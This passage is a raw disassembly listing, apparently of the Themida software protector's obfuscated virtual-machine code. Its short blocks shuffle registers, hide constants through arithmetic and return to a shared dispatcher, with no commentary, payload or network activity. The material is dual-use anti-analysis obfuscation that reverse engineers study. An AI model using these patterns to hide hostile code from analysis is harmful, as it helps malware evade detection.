		add	[esp], al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55396D:				; CODE XREF: Themida_:0055D831j
		mov	ebx, 0FCB40A9h
		jmp	loc_554318
; ---------------------------------------------------------------------------


loc_553977:				; CODE XREF: Themida_:00554BA7j
		push	dword ptr [eax]
		add	dword ptr [esp], 1F881AEAh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1F881AEAh
		push	dword ptr [esp]
		jmp	loc_55ADB1
; ---------------------------------------------------------------------------


loc_553997:				; CODE XREF: Themida_:00554725j
		add	ecx, 6E176AD3h
		jmp	loc_5565E6
; ---------------------------------------------------------------------------


loc_5539A2:				; CODE XREF: Themida_:0055A0A4j
		mov	ax, [esp]
		jmp	loc_55C341
; ---------------------------------------------------------------------------


loc_5539AB:				; CODE XREF: Themida_:005587E7j
		mov	[esp], ebp
		push	ebx
		jmp	loc_559D7B
; ---------------------------------------------------------------------------


loc_5539B4:				; CODE XREF: Themida_:0055CF7Aj
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5539C3:				; CODE XREF: Themida_:0055B03Aj
		or	ecx, 0A7A7791h
		jmp	loc_556948
; ---------------------------------------------------------------------------


loc_5539CE:				; CODE XREF: Themida_:00554C07j
		xor	ecx, 2E366C8h
		sub	ecx, 4E00CBB7h
		sub	eax, 25E50E8Fh
		add	eax, ecx
		add	eax, 25E50E8Fh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5539F1:				; CODE XREF: Themida_:005592B0j
		add	esi, 4
		jmp	loc_559468
; ---------------------------------------------------------------------------


loc_5539FC:				; CODE XREF: Themida_:005598ABj
		shl	edx, 3
		sub	edx, 3CD25050h
		add	edx, 7C525008h
		mov	ecx, edx
		jmp	loc_558FF7
; ---------------------------------------------------------------------------


loc_553A12:				; CODE XREF: Themida_:00553E0Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55C4B3
; ---------------------------------------------------------------------------


loc_553A20:				; CODE XREF: Themida_:0055BBA2j
		add	eax, 79DDFA63h
		mov	edi, eax
		pop	eax
		not	edi
		not	edi
		shr	edi, 4
		xor	edi, 55049A38h
		jmp	loc_5560E5
; ---------------------------------------------------------------------------


loc_553A3A:				; CODE XREF: Themida_:00552D42j
		shr	ebp, 5
		add	ebp, 1CD773EFh
		add	ebp, 2EA766Bh
		xor	ebp, 21D100E1h
		add	ebx, ebp
		pop	ebp
		jmp	loc_55BD8C
; ---------------------------------------------------------------------------


loc_553A57:				; CODE XREF: Themida_:0055DC86j
		mov	eax, 4
		sub	dword ptr [esp+4], 5C82415h
		add	[esp+4], eax
		add	dword ptr [esp+4], 5C82415h
		pop	eax
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55A522
; ---------------------------------------------------------------------------


loc_553A80:				; CODE XREF: Themida_:00555A4Cj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_55ABB2
; ---------------------------------------------------------------------------


loc_553A97:				; CODE XREF: Themida_:0055CD3Aj
		sub	edx, eax
		push	eax
		mov	eax, 7AD2721Bh
		add	edx, eax
		pop	eax
		jmp	loc_55B1E3
; ---------------------------------------------------------------------------


loc_553AA7:				; CODE XREF: Themida_:00552A3Ej
		add	dword ptr [esp], 7EE10686h
		jmp	loc_55DFDC
; ---------------------------------------------------------------------------


loc_553AB3:				; CODE XREF: Themida_:00556FE0j
		xchg	eax, ebp
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5587D6
; ---------------------------------------------------------------------------


loc_553AD2:				; CODE XREF: Themida_:005568F3j
		or	ebp, 246F77F9h
		sub	ebp, 0FFEF77FBh
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		dec	cl
		or	cl, 66h
		sub	cl, 0B2h
		push	ebx
		mov	bh, 5Bh
		add	bh, 0F3h
		xor	cl, bh
		pop	ebx
		sub	al, 0F9h
		add	al, cl
		jmp	loc_55A15C
; ---------------------------------------------------------------------------


loc_553B02:				; CODE XREF: Themida_:005560FDj
		pop	ecx
		jmp	loc_557B9B
; ---------------------------------------------------------------------------


loc_553B08:				; CODE XREF: Themida_:0055A977j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_556B88
; ---------------------------------------------------------------------------


loc_553B17:				; CODE XREF: Themida_:00552985j
		neg	eax
		xor	eax, 4C714619h
		sub	eax, 43D6559Fh
		and	eax, 6F1A5F18h
		jmp	loc_553021
; ---------------------------------------------------------------------------


loc_553B2D:				; CODE XREF: Themida_:0055811Ej
		mov	eax, 8F25AF2h
		inc	eax
		push	ecx
		jmp	loc_559C9D
; ---------------------------------------------------------------------------


loc_553B39:				; CODE XREF: Themida_:00553865j
		mov	[esp], eax
		mov	al, 0C1h
		sub	al, 11h
		not	al
		add	al, 6
		sub	bl, al
		pop	eax
		sub	bl, al
		jmp	loc_555A80
; ---------------------------------------------------------------------------


loc_553B4E:				; CODE XREF: Themida_:00551E06j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_55C924
; ---------------------------------------------------------------------------


loc_553B65:				; CODE XREF: Themida_:00558FBCj
		mov	esi, 243B005Dh
		push	esi
		sub	dword ptr [esp], 58142A7Dh
		pop	edi
		add	edi, 58142A7Dh
		pop	esi
		jmp	loc_5527CA
; ---------------------------------------------------------------------------


loc_553B7F:				; CODE XREF: Themida_:00552ED2j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 524461C9h
		shr	esi, 2
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55782F
; ---------------------------------------------------------------------------


loc_553B9C:				; CODE XREF: Themida_:00557B81j
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553BB1:				; CODE XREF: Themida_:0055DB6Fj
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_551A56
; ---------------------------------------------------------------------------


loc_553BBC:				; CODE XREF: Themida_:00552181j
		mov	[esp], edi
		push	4
		jmp	loc_55C52F
; ---------------------------------------------------------------------------


loc_553BC9:				; CODE XREF: Themida_:0055A372j
		xor	ebx, 6F946BD7h
		jmp	loc_55C455
; ---------------------------------------------------------------------------


loc_553BD4:				; CODE XREF: Themida_:00554A48j
		pop	esi
		push	21CDh
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_553D0F
; ---------------------------------------------------------------------------


loc_553BE4:				; CODE XREF: Themida_:0055BE9Aj
		add	esp, 4
		or	eax, eax
		jz	loc_554B3E
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		jmp	loc_555DB1
; ---------------------------------------------------------------------------


loc_553BFA:				; CODE XREF: Themida_:0055DDD1j
		push	edx
		xor	dword ptr [esp], 17FD7FEBh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55E091
; ---------------------------------------------------------------------------


loc_553C10:				; CODE XREF: Themida_:00552299j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_55DEFF
; ---------------------------------------------------------------------------


loc_553C27:				; CODE XREF: Themida_:0055A8BFj
		add	ebx, 0F9A8F593h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_558572
; ---------------------------------------------------------------------------


loc_553C35:				; CODE XREF: Themida_:0055BA3Cj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55AE9C
; ---------------------------------------------------------------------------


loc_553C43:				; CODE XREF: Themida_:005562EFj
		sub	cl, 19h
		add	bl, 0Dh
		jmp	loc_55A941
; ---------------------------------------------------------------------------


loc_553C4E:				; CODE XREF: Themida_:0055D920j
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_552D63
; ---------------------------------------------------------------------------


loc_553C62:				; CODE XREF: Themida_:00553716j
		add	al, bl
		sub	al, 3Ah
		pop	bx
		push	cx
		mov	ch, 45h
		add	al, ch
		mov	cx, [esp]
		jmp	loc_5546D6
; ---------------------------------------------------------------------------


loc_553C77:				; CODE XREF: Themida_:005571E5j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55D5F7
; ---------------------------------------------------------------------------


loc_553C88:				; CODE XREF: Themida_:00559A54j
		add	eax, 4C391CB2h
		sub	eax, ebx
		sub	eax, 4C391CB2h
		add	eax, 95C1BCFh
		pop	ebx
		jmp	loc_555B41
; ---------------------------------------------------------------------------
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5570E0
; ---------------------------------------------------------------------------


loc_553CAD:				; CODE XREF: Themida_:0055A3CFj
		pop	edi
		jmp	loc_55D0D7
; ---------------------------------------------------------------------------


loc_553CB3:				; CODE XREF: Themida_:0055586Cj
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55AF64
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		jmp	loc_55602F
; ---------------------------------------------------------------------------


loc_553CCA:				; CODE XREF: Themida_:005593C4j
		pop	edx
		add	esp, 4
		xor	ebx, eax
		jmp	loc_551D14
; ---------------------------------------------------------------------------


loc_553CD8:				; CODE XREF: Themida_:00559943j
		mov	ebx, 7A9F5B43h
		add	ebx, 8560A4C1h
		add	eax, ebx
		pop	ebx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		add	esi, 4
		push	ebx
		push	eax
		mov	eax, 19E33DAEh
		not	eax
		dec	eax
		and	eax, 31A340F6h
		jmp	loc_55D8A3
; ---------------------------------------------------------------------------


loc_553D0F:				; CODE XREF: Themida_:00553BDFj
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55A6C9
; ---------------------------------------------------------------------------


loc_553D26:				; CODE XREF: Themida_:005551E1j
		mov	[esp], edi
		jmp	loc_559E80
; ---------------------------------------------------------------------------


loc_553D2E:				; CODE XREF: Themida_:00552C39j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55A0EE
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55BE12
; ---------------------------------------------------------------------------


loc_553D42:				; CODE XREF: Themida_:00556761j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55983C
; ---------------------------------------------------------------------------


loc_553D59:				; CODE XREF: Themida_:00555539j
		add	dword ptr [esp+4], 17C51486h
		push	4E7Eh
		mov	[esp], eax
		mov	eax, 6E1741C1h
		add	[esp+8], eax
		pop	eax
		pop	ebp
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553D79:				; CODE XREF: Themida_:005532B0j
		mov	ebx, [esp]
		jmp	loc_556D7A
; ---------------------------------------------------------------------------


loc_553D81:				; CODE XREF: Themida_:00554EA0j
		add	esp, 4
		sub	esi, ebp
		pop	ebp
		xor	esi, [esp]
		jmp	loc_554DB4
; ---------------------------------------------------------------------------


loc_553D92:				; CODE XREF: Themida_:005565A7j
		mov	edi, [esp]
		add	esp, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_5542B4
; ---------------------------------------------------------------------------


loc_553DA3:				; CODE XREF: Themida_:0055C080j
		mov	ebx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 4DF35774h
		jmp	loc_5582BC
; ---------------------------------------------------------------------------


loc_553DB9:				; CODE XREF: Themida_:00559E19j
		sub	dword ptr [esp+4], 6F956188h
		pop	esi
		pop	ecx
		add	ecx, 4
		push	5A61h
		mov	[esp], edx
		push	edi
		jmp	loc_55A124
; ---------------------------------------------------------------------------


loc_553DD7:				; CODE XREF: Themida_:00557485j
		add	esp, 4
		add	edx, eax
		push	esi
		mov	esi, 67B41B2Fh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55635F
; ---------------------------------------------------------------------------


loc_553DF6:				; CODE XREF: Themida_:00559B0Bj
		xor	ebp, 63644315h
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 741C5558h
		jmp	loc_55CDE6
; ---------------------------------------------------------------------------


loc_553E0A:				; CODE XREF: Themida_:005527D5j
		or	edi, esi
		mov	esi, [esp]
		jmp	loc_553A12
; ---------------------------------------------------------------------------


loc_553E14:				; CODE XREF: Themida_:00557E5Cj
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_552E41
; ---------------------------------------------------------------------------


loc_553E1F:				; CODE XREF: Themida_:00555A86j
		push	eax
		jmp	loc_55303A
; ---------------------------------------------------------------------------


loc_553E25:				; CODE XREF: Themida_:005566C8j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_55B74A
; ---------------------------------------------------------------------------


loc_553E35:				; CODE XREF: Themida_:00557151j
		mov	edx, 780A4E56h
		or	edx, 78C91FE1h
		add	edx, 577D5784h
		add	edx, 2FB74889h
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5553E7
; ---------------------------------------------------------------------------


loc_553E64:				; CODE XREF: Themida_:0055BA28j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	3D45h
		mov	[esp], ebp
		mov	ebp, 3ABE7685h
		inc	ebp
		jmp	loc_555EBC
; ---------------------------------------------------------------------------


loc_553E80:				; CODE XREF: Themida_:0055C787j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55AEB0
; ---------------------------------------------------------------------------


loc_553E94:				; CODE XREF: Themida_:0055826Fj
		xchg	edi, [esp]
		jmp	loc_55C117
; ---------------------------------------------------------------------------


loc_553E9C:				; CODE XREF: Themida_:00559D9Dj
		push	ecx
		mov	ecx, 4
		add	ebx, 42F9768Ah
		add	ebx, ecx
		sub	ebx, 42F9768Ah
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		jmp	loc_55DD51
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_559A01
; ---------------------------------------------------------------------------


loc_553ECD:				; CODE XREF: Themida_:00556D1Dj
		pop	edi
		sub	eax, edx
		jmp	loc_5589A2
; ---------------------------------------------------------------------------


loc_553ED5:				; CODE XREF: Themida_:00555543j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	60A9h
		jmp	loc_55BB52
; ---------------------------------------------------------------------------


loc_553EF2:				; CODE XREF: Themida_:00555FDBj
		mov	ecx, edi
		mov	edx, ecx
		jmp	loc_55DDD0
; ---------------------------------------------------------------------------


loc_553EFB:				; CODE XREF: Themida_:0055BDB4j
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_557CC4
; ---------------------------------------------------------------------------


loc_553F04:				; CODE XREF: Themida_:005592EBj
		push	0FCAh
		mov	[esp], esi
		push	75E9h
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55DC85
; ---------------------------------------------------------------------------


loc_553F1C:				; CODE XREF: Themida_:0055B3C7j
		mov	[esp], eax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553F24:				; CODE XREF: Themida_:005556FFj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5538CD
; ---------------------------------------------------------------------------


loc_553F32:				; CODE XREF: Themida_:0055CE51j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553F37:				; CODE XREF: Themida_:0055CCF5j
		push	esp
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55D10C
; ---------------------------------------------------------------------------


loc_553F4D:				; CODE XREF: Themida_:00556A73j
		not	dword ptr [esp]
		pop	ecx
		not	ecx
		jmp	loc_558F31
; ---------------------------------------------------------------------------


loc_553F58:				; CODE XREF: Themida_:0055CCD7j
		pop	eax
		shr	edx, 8
		inc	edx
		add	edx, 0FFB613B9h
		mov	ebp, edx
		pop	edx
		mov	edx, ebp
		pop	ebp
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_55AA2E
; ---------------------------------------------------------------------------


loc_553F72:				; CODE XREF: Themida_:00554A00j
		push	esi
		jmp	loc_5595E2
; ---------------------------------------------------------------------------


loc_553F78:				; CODE XREF: Themida_:0055BC01j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 11205D05h
		jmp	loc_55DC3F
; ---------------------------------------------------------------------------


loc_553F8F:				; CODE XREF: Themida_:00556AFFj
		sub	esp, 4
		mov	[esp], esi
		push	eax
		push	ebp
		mov	ebp, 9562F74h
		jmp	loc_55C46A
; ---------------------------------------------------------------------------


loc_553FA4:				; CODE XREF: Themida_:00551C88j
		pop	eax
		sub	edx, 521C7585h
		add	edx, 48AD44C5h
		add	edx, edi
		sub	edx, 48AD44C5h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 721D7B7Bh
		jmp	loc_55A263
; ---------------------------------------------------------------------------


loc_553FC9:				; CODE XREF: Themida_:00553056j
		add	al, 0ACh
		add	al, 6Bh
		sub	bl, al
		pop	eax
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_553FDC:				; CODE XREF: Themida_:00554C8Bj
		shr	ecx, 1
		add	ecx, 89C0FD6Eh
		sub	edi, 50697339h
		jmp	loc_55DDFC
; ---------------------------------------------------------------------------


loc_553FEF:				; CODE XREF: Themida_:0055AFC0j
		mov	eax, 477F16DDh
		xor	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 16860CCh
		not	ebx
		xor	ebx, 0DCB693BEh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5593A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55400D:				; CODE XREF: sub_55656B+1AA2j
		pop	edi
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ecx
		push	20B6h
		mov	[esp+0Ah+var_C+2], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6E30224h
		inc	ebx
		push	ebp
		jmp	loc_5576B6
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55402F:				; CODE XREF: Themida_:005550D3j
		mov	eax, 1E7E2272h
		sub	eax, 34D21AEFh
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55470E
; ---------------------------------------------------------------------------


loc_554046:				; CODE XREF: Themida_:005522E5j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554068:				; CODE XREF: Themida_:005529F6j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55245F
; ---------------------------------------------------------------------------


loc_554074:				; CODE XREF: Themida_:0055D2E7j
		mov	ebx, 4
		push	esi
		mov	esi, 4A424139h
		dec	esi
		jmp	loc_55C93A
; ---------------------------------------------------------------------------


loc_554085:				; CODE XREF: Themida_:00557909j
		mov	edx, esp
		jmp	loc_551BAC
; ---------------------------------------------------------------------------


loc_55408C:				; CODE XREF: Themida_:0055BAE0j
		inc	dh
		shr	dh, 4
		dec	dh
		xor	dh, 0ACh
		sub	dh, 0AAh
		add	ch, dh
		pop	edx
		jmp	loc_55C094
; ---------------------------------------------------------------------------


loc_5540A1:				; CODE XREF: Themida_:0055D3F9j
		mov	[esp], ebp
		push	ebx
		push	4A6A1C55h
		pop	ebx
		push	ebx
		dec	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55A8BC
; ---------------------------------------------------------------------------


loc_5540B7:				; CODE XREF: Themida_:00555D1Fj
		push	eax
		mov	eax, esp
		jmp	loc_55CC28
; ---------------------------------------------------------------------------


loc_5540BF:				; CODE XREF: Themida_:00552684j
		sub	ebp, 729BE50Ch
		mov	ecx, ebp
		pop	ebp
		sub	esi, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ebx
		push	ecx
		jmp	loc_5531BD
; ---------------------------------------------------------------------------


loc_5540F0:				; CODE XREF: Themida_:00557722j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55A602
; ---------------------------------------------------------------------------


loc_5540FB:				; CODE XREF: Themida_:00553294j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_558EE3
; ---------------------------------------------------------------------------


loc_554106:				; CODE XREF: Themida_:00553128j
		mov	ah, bh
		pop	ebx
		mov	bh, ah
		pop	eax
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 1Ch
		sub	bh, 9Bh
		add	bh, 0D9h
		add	bh, al
		jmp	loc_55472A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	40ECh
		mov	[esp], eax
		push	esp
		jmp	loc_558B21
; ---------------------------------------------------------------------------


loc_554136:				; CODE XREF: Themida_:00558893j
		or	ebx, 2C7074F0h
		push	edi
		push	esi
		mov	esi, 6F6683h
		mov	edi, 25EA5216h
		xor	edi, esi
		pop	esi
		push	eax
		mov	eax, 3F371C4Dh
		jmp	loc_55475E
; ---------------------------------------------------------------------------


loc_554156:				; CODE XREF: Themida_:005554DEj
		pop	ecx
		sub	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55416C:				; CODE XREF: Themida_:00558581j
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	ebx
		push	3D662EF6h
		pop	ebx
		push	esi
		mov	esi, 0C635715Fh
		jmp	loc_55B195
; ---------------------------------------------------------------------------


loc_55419A:				; CODE XREF: Themida_:00557AA3j
		sub	esp, 4
		mov	[esp], eax
		mov	al, bh
		jmp	loc_55AD3E
; ---------------------------------------------------------------------------


loc_5541A7:				; CODE XREF: Themida_:005538E2j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		push	4
		jmp	loc_555997
; ---------------------------------------------------------------------------


loc_5541C7:				; CODE XREF: Themida_:00559377j
		neg	esi
		or	esi, 5843FA7h
		xor	esi, 3475AEFDh
		and	edi, esi
		pop	esi
		add	edi, 6D0029FAh
		jmp	loc_5592DD
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_554AA9
; ---------------------------------------------------------------------------


loc_5541ED:				; CODE XREF: Themida_:005561D4j
		pop	eax
		sub	eax, edx
		pop	edx
		jmp	loc_553244
; ---------------------------------------------------------------------------


loc_5541F6:				; CODE XREF: Themida_:0055C217j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	ebx
		push	7F49009Fh
		jmp	loc_5581EE
; ---------------------------------------------------------------------------


loc_55420F:				; CODE XREF: Themida_:005536AEj
		add	esp, 4
		push	eax
		push	edx
		mov	dl, 9Ch
		push	ebx
		mov	bh, dl
		mov	ah, bh
		pop	ebx
		jmp	loc_5554B3
; ---------------------------------------------------------------------------


loc_554221:				; CODE XREF: Themida_:0055925Cj
		pop	edx
		xor	edi, 302344DAh
		jmp	loc_559619
; ---------------------------------------------------------------------------


loc_55422D:				; CODE XREF: Themida_:00551B53j
		pop	eax
		push	edi
		push	edx
		mov	edx, 30285875h
		jmp	loc_55738F
; ---------------------------------------------------------------------------


loc_55423A:				; CODE XREF: Themida_:00551E33j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebp
		jmp	loc_5590EF
; ---------------------------------------------------------------------------


loc_55424B:				; CODE XREF: Themida_:00551E44j
		push	ebx
		mov	bh, 6
		mov	dl, bh
		pop	ebx
		jmp	loc_55A553
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 390AC4D0h
		mov	edx, ebp
		pop	ebp
		sub	eax, 58E14AB0h
		jmp	loc_557AF7
; ---------------------------------------------------------------------------


loc_554287:				; CODE XREF: Themida_:00556052j
		sub	ebp, 0C639A0B1h
		sub	esi, ebp
		jmp	loc_558B1B
; ---------------------------------------------------------------------------


loc_554294:				; CODE XREF: Themida_:00558D86j
		pop	ebx
		pop	edx
		jmp	loc_55AF13
; ---------------------------------------------------------------------------


loc_55429B:				; CODE XREF: Themida_:00557178j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_554EF6
; ---------------------------------------------------------------------------


loc_5542A4:				; CODE XREF: Themida_:00552E1Fj
		mov	esi, [esp]
		add	esp, 4
		add	ecx, edi
		jmp	loc_552091
; ---------------------------------------------------------------------------


loc_5542B4:				; CODE XREF: Themida_:00553D9Ej
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5542BF:				; CODE XREF: Themida_:0055AAA3j
		add	al, 6Ah
		jmp	loc_55A6DA
; ---------------------------------------------------------------------------


loc_5542C6:				; CODE XREF: Themida_:0055B022j
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_551F97
; ---------------------------------------------------------------------------


loc_5542D0:				; CODE XREF: Themida_:00554DDDj
		not	esi
		sub	esi, 5A5021EFh
		dec	esi
		sub	esi, 0D6D08CEh
		xor	ebx, esi
		pop	esi
		jmp	loc_5554D4
; ---------------------------------------------------------------------------


loc_5542E7:				; CODE XREF: Themida_:0055A3FEj
		mov	dh, bh
		mov	[edi+eax*4+1], dh
		pop	edx
		jmp	loc_55A6C0
; ---------------------------------------------------------------------------


loc_5542F3:				; CODE XREF: Themida_:00558BE2j
		mov	[esp], ebx
		jmp	loc_55A270
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_5555C4
; ---------------------------------------------------------------------------


loc_554318:				; CODE XREF: Themida_:00553972j
		sub	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 1A57712Bh
		and	edx, 130E35ACh
		sub	edx, 0E34F1C57h
		xor	ebx, edx
		pop	edx
		sub	eax, ebx
		pop	ebx
		jmp	loc_554BAC
; ---------------------------------------------------------------------------


loc_55433B:				; CODE XREF: Themida_:0055556Bj
		push	edx
		jmp	loc_55380C
; ---------------------------------------------------------------------------


loc_554341:				; CODE XREF: Themida_:0055704Ej
		not	edi
		jmp	loc_556F14
; ---------------------------------------------------------------------------


loc_554348:				; CODE XREF: Themida_:0055B7C7j
		add	esp, 4
		push	ebx
		mov	ebx, 71FF5617h
		sub	eax, ebx
		jmp	loc_558A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55435B:				; CODE XREF: sub_55656B+1FEj
		mov	dh, cl
		xchg	bl, dh
		not	bl
		xchg	bl, dh
		jmp	loc_55C295
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_554368:				; CODE XREF: Themida_:0055B9CBj
		xchg	esi, [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554377:				; CODE XREF: Themida_:0055AFFFj
		mov	ebx, 2
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 36AB285Fh
		add	edx, ecx
		sub	edx, 36AB285Fh
		jmp	loc_55547E
; ---------------------------------------------------------------------------


loc_55439A:				; CODE XREF: Themida_:0055939Fj
		add	cl, 1
		add	cl, 85h
		shl	cl, 5
		sub	cl, 1
		sub	cl, 0B0h
		sub	al, 51h
		sub	al, 0E2h
		add	al, cl
		add	al, 0E2h
		add	al, 51h
		mov	cx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_55D08D
; ---------------------------------------------------------------------------


loc_5543CD:				; CODE XREF: Themida_:0055DD70j
		pop	eax
		pop	edi
		jmp	loc_55D176
; ---------------------------------------------------------------------------


loc_5543D4:				; CODE XREF: Themida_:0055AB7Fj
		mov	edi, [esp]
		push	6855h
		mov	[esp], ebx
		push	esp
